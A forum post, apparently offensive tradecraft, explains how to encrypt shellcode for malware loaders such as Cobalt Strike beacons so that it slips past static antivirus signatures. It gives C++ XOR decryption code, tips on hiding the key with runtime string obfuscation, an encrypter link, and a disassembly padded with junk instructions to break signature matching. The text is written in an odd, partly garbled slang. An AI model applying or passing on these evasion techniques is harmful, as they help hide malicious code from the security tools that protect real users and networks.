Shellcode Encryp'n and Why? Static Scan Evasion

[ltx_Lazzarus]

Like, when ya use some shellcode loaders or Cobalt Strike beaker loaders, yeh might've noticed they're often encrypted with different crypts, like AES, XOR, RC4/5, Base64 and so on... Now, woss the rask? It's coz we encrypt the raw shellcode to dodge 'n' bypass shellcode sigs.

This'll help out a bit with weak mem scannas, but it's only good for hidin' entropy and avoiding static detections. Y'see, yeh still gotta decrypt it later on in memory.

U can use any encryption ya know, recommended to use AES.

XOR - Picken' a key and usin' it to XOR each byte of the shellcode. T'decrypt the shellcode, use the same key to XOR each byte again, which reverses the encryption n gets the original shellcode. This encryption ain't Strong. There's heaps of Encrypters available on Github.

For XOR, look here: https://github.com/DcardosoGH/ShellCode-Encrypt

Usage is pretty simple, generate your shellcode(.bin) -> Encrypt it -> Add the generated key and shellcode enc bytes/data into your program. Don't forget to use Runtime string obfuscation on your decryption key like SkCrypt or XorStr.

Code: Select all

char key[] = "Ur Key";
    char *shellcode_decrypt = new char[shellcodeSize];
    int k = 0;
    for (int i = 0; i < shellcodeSize; i++)
    {
        if (k == sizeof key - 1)
            k = 0;
        shellcode_decrypt[i] = shellcode_encrypt[i] ^ key[k];// shellcode_encrypt = encrypted raw bytes.
        k++;
    }

The decoding trick in this bit of code does a fancy XOR thing on every little chunk of the encrypted shellcode using a hush-hush key. The whole shebang uses a for loop with a counter called i to work its way through each byte of the encrypted shellcode. There's another counter called k that helps grab each byte from the key array. When k hits the end of the key array (which is when k equals the size of the key minus one), it goes back to square one. This makes sure the process of mixin' the encrypted shellcode with the key can keep goin' till the cows come home. The result of all this XOR business gets chucked into a new character array called shellcode_decrypt, which is basically the original encrypted shellcode with its pants down.

The drill's pretty much the same for AES, ya know? Ya take that encrypted shell code, give it a good decrypto, and then chuck it into a process's virtual address space.
If you're keen, you can suss out heaps of encryption and loader templates on Github for this sorta thing. Same goes for RC4 and the other way 'round too.

We can chuck in some useless bits in our shellcode, ya reckon:
1. Use Ndisasm to suss out the instructions from our shellcode. Or if ya fancy, give https://defuse.ca/online-x86-assembler.htm#disassembly2 a burl for your shellcode bytes.

Code: Select all

cld
nop             ; Added a nop instruction
dec eax
nop             ; Added a nop instruction
and esp, byte -0x10
call 0xca
mov eax, eax    ; Redundant mov instruction
nop             ; Added a nop instruction
inc ecx
push ecx
inc ecx
push eax
push edx
push ecx
mov eax, eax    ; Redundant mov instruction
push esi
nop             ; Added a nop instruction
dec eax
xor edx, edx
gs dec eax
mov edx, [edx+0x60]
dec eax
mov edx, [edx+0x18]
nop             ; Added a nop instruction
dec eax
mov edx, [edx+0x20]
nop             ; Added a nop instruction
dec eax
mov esi, [edx+0x50]
dec eax
movzx ecx, word [edx+0x4a]
; Simple shellcode to open calc.exe

Throwin' in useless instructions like nop and mov eax, eax that do bugger all but act as placeholders can be bonza for dodgin' sig scans. You can easily whip up a program to do this, then re-encrypt your shellcode and give it another go.
Just remember, shellcode encryption ain't nothin' fancy, just a basic way to avoid static scans.